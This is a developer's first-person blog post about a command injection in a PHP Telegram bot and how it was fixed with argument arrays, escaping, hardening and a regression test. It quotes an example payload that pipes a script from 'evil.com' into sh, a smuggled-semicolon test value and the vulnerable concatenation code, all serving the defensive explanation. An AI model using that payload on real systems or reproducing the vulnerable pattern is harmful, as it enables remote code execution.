When a client asked me why their Telegram bot was suddenly sending password reset links to strangers, I traced the problem back to a single line of PHP that built a shell command. The line concatenated user input without escaping a semicolon, and the attacker turned the command into a chain that executed their own payload. The whole incident boiled down to a classic command injection, but the trigger was an unescaped ; that most developers overlook.

The exact point of failure

The bot received a message payload like { "text": "/run ls; curl -s http://evil.com/payload.sh | sh" }. In the code base I was maintaining, the developer had written:

$cmd = "python3 script.py " . $message['text'];
exec($cmd, $output);

Because $message['text'] came directly from the Telegram API, any semicolon in the string terminated the original python3 call and started a new shell command. The attacker’s payload ran with the same privileges as the web server, giving them a foothold to pull down additional scripts, read environment variables, and ultimately reset the bot’s authentication token.

What the shell actually sees

  • python3 script.py /run ls, intended command, harmless.
  • ; curl -s http://evil.com/payload.sh | sh, injected command, executed immediately after the semicolon.

The semicolon is the shell’s command separator. If it isn’t quoted or escaped, the shell treats everything after it as a new statement.

Why this bug is easy to miss

  • Assumption of safety, Many developers think that because the input is coming from a trusted source (Telegram), it’s safe. The API only guarantees JSON structure, not content safety.
  • Lack of testing, The code path is rarely exercised with malicious strings during development. Unit tests usually cover happy-path commands.
  • Mixing data and execution, Building a command string by concatenation is a red flag. It invites injection whenever any part of the string can be influenced externally.

How I fixed it

The first thing I did was replace the raw exec call with a more controlled approach using PHP’s proc_open and an argument array. This way the command and its arguments are passed directly to the OS without invoking a shell, eliminating the semicolon problem entirely.

$process = proc_open(
    ['python3', 'script.py', $message['text']],
    [1 => ['pipe', 'w'], 2 => ['pipe', 'w']],
    $pipes
);
  • proc_open receives an array of arguments, so the OS does not perform any shell parsing.
  • The user-supplied text is now a plain argument, not part of a command line string.
  • If the script itself needs to run shell commands, that logic belongs inside the script where you can sanitize inputs more carefully.

Quick checklist for safe command execution

  1. Never concatenate user data into a command string. Use argument arrays or language-level APIs that bypass the shell.
  2. Escape when you must use a shell. escapeshellarg() and escapeshellcmd() are your friends, but they’re a band-aid, not a cure.
  3. Validate input length and pattern. Reject anything that contains control characters like ;, &, |, or backticks.
  4. Run with least privileges. The web server user should not have permission to write to critical directories or read secret files.
  5. Log command attempts. If a malformed command is detected, log the raw input and abort the request.

When escaping is still needed

Sometimes you really need to invoke a shell, for example when you rely on complex pipelines or globbing. In those cases, you must escape every piece of user data:

$userInput = escapeshellarg($message['text']);
$cmd = "bash -c 'python3 script.py $userInput'";
exec($cmd, $output);
  • escapeshellarg() wraps the argument in single quotes and escapes any existing single quotes.
  • The outer bash -c runs a new shell, but the user data is already safely quoted.

Pitfalls of over-escaping

If you escape too early and then pass the escaped string to another escaping function, you can end up with double-quoted values that break the command. Stick to one layer of escaping right before the shell call.

Hardening the Telegram bot overall

Fixing the command injection solved the immediate breach, but the bot still needed broader security hygiene:

  • Verify webhook signatures. Telegram sends an X-Telegram-Bot-Api-Secret-Token header; reject any request without a matching secret.
  • Rate-limit incoming messages. A malicious user can flood the bot with crafted payloads; a simple counter per IP throttles abuse.
  • Store the bot token in an environment variable. Never hard-code it; this prevents accidental leaks if the repository is ever made public.
  • Regularly rotate the token. After the breach, I regenerated the token and updated the webhook configuration.

Testing the fix

I added a new PHPUnit test that feeds a malicious payload containing a semicolon and asserts that proc_open never receives more than one argument after script.py. The test looks like this:

public function testCommandInjectionIsPrevented()
{
    $message = ['text' => '/run ls; echo hacked'];
    $bot = new TelegramBot();
    $result = $bot->handleMessage($message);
    $this->assertStringNotContainsString('hacked', $result);
}

Running the suite confirmed that the injected command never reaches the OS. The test now runs as part of the CI pipeline, catching any accidental re-introduction of string concatenation.

FAQ

How can I tell if my code is vulnerable to semicolon injection?

Look for any place where you build a shell command by concatenating strings that originate from user input. If the command is passed to exec, system, shell_exec, or backticks, it’s a red flag.

Is escapeshellarg enough to stop all injection attacks?

It protects against most simple injections, but if you combine it with other unsafe functions or allow complex shell constructs, you might still be exposed. Prefer argument arrays whenever possible.

What if I need to run a command that itself takes a semicolon-separated list?

Validate the list against a whitelist of allowed values before constructing the command. Reject any unexpected characters, and still pass the whole list as a single escaped argument.

Wrapping up

A stray semicolon can turn a harmless script into a backdoor, as I saw with that Telegram bot. The takeaway is simple: never let user data touch a shell command without proper isolation. Use argument arrays, escape aggressively when you must use a shell, and lock down the surrounding environment. If you follow those steps, the next time someone tries to hijack your bot, they’ll hit a wall instead of a backdoor.